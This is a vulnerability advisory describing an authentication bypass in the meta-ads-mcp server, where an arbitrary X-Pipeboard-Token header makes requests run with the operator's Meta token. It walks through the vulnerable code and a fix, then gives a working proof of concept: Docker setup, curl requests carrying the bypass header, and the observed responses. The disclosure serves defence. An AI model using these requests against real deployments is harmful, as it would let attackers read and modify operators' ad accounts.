Résumé
meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
Détails de l’avis
X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
Summary
AuthInjectionMiddleware in meta-ads-mcp rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent. Because extract_token_from_headers() does not recognise the X-Pipeboard-Token header, an attacker who sends that header with any arbitrary value produces auth_token = None and pipeboard_token = <attacker value>, making the guard condition evaluate to False and passing the request through. No authentication context is set; the token getter falls back to the server operator's META_ACCESS_TOKEN environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.
Details
The vulnerable condition is at meta_ads_mcp/core/http_auth_integration.py:259:
# http_auth_integration.py:255-260
auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))
if not auth_token and not pipeboard_token: # ← bypass condition
return Response(..., status_code=401)
extract_token_from_headers() (lines 77–95) recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN. It does not recognise X-Pipeboard-Token, so that header never populates auth_token.
extract_pipeboard_token_from_headers() (line 108) does recognise X-Pipeboard-Token, so sending that header alone produces:
auth_token = None # not set → guard reads False for left operand
pipeboard_token = "<anything>" # truthy → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned
After the bypass, set_auth_token() is never called (lines 283–291 only run when auth_token is truthy). The patched token getter at lines 163–168 resolves get_auth_token() = None, then delegates to original_get_current_access_token(). The fallback chain in auth.py:446–453 returns META_ACCESS_TOKEN from the server environment:
# auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
return env_token
@meta_api_tool at api.py:390–396 injects this operator token into every tool's access_token kwarg. The sink at api.py:225–235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42–62 (get_ad_accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.
Full data flow:
| Step | Location | Description |
|---|---|---|
| 1 | http_auth_integration.py:255–257 |
Middleware extracts attacker-controlled headers |
| 2 | http_auth_integration.py:259 |
Bypass: X-Pipeboard-Token alone satisfies guard |
| 3 | http_auth_integration.py:288–291 |
auth_token is None; auth context never set |
| 4 | http_auth_integration.py:163–168 |
Token getter falls back to original accessor |
| 5 | auth.py:446–453 |
META_ACCESS_TOKEN env var returned as access token |
| 6 | api.py:390–396 |
Operator token injected into tool kwargs |
| 7 | accounts.py:42–62 |
Tool invokes Meta Graph API with operator token |
| 8 | api.py:225–235 |
httpx.AsyncClient sends privileged HTTP request |
Recommended fix:
--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
- if not auth_token and not pipeboard_token:
+ if not auth_token:
X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.
PoC
Prerequisites
- Docker installed and the
meta-ads-mcprepository available locally. - The server must be started in
streamable-httpmode (documented inSTREAMABLE_HTTP_SETUP.mdas a supported production deployment).
Step 1 — Build the Docker image
docker build \
-t vuln001-meta-ads-mcp \
-f /path/to/vuln-001/Dockerfile \
/path/to/meta-ads-mcp-repo/
The Dockerfile installs the package from source, sets META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890, and starts the server on port 8080.
Step 2 — Run the container
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp
Step 3 — Confirm the middleware is active (no-auth → 401)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401 {"error":"Unauthorized",...}
Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed)
Step 5 — Confirm operator token is forwarded to Meta Graph API
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.
Automated PoC script
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp
The script performs Tests 1–3 and prints RESULT: PASS — VULN-001 reproduced on success.
Observed output (dynamic reproduction)
Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools)
Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}
Test 3 confirms that FAKE_OPERATOR_META_TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.
Impact
This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:
- Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
- Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
- Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.
Operators who deploy meta-ads-mcp in --transport streamable-http mode with META_ACCESS_TOKEN configured — the documented and recommended production setup — are directly affected. Deployments using the default stdio transport or those without META_ACCESS_TOKEN set are not affected.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
# Copy repository source (build context must be the repo root)
COPY . /app
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-73840
OpenChoreo: Unauthenticated build/workflow trigger via git-provider confusion (webhook signature bypass)
- HIGHCVE-2026-62669
Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge
- HIGHCVE-2026-77567
Filament: Multi-factor authentication (app) can be bypassed when recovery codes are enabled
- MEDIUMCVE-2026-55678
arc has unauthenticated cluster node admission when `cluster.shared_secret` is unset
- HIGHCVE-2026-55761
Portainer has Unauthenticated Restore Endpoint that Allows Admin Takeover on Uninitialized Instances
- HIGHCVE-2026-55533
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret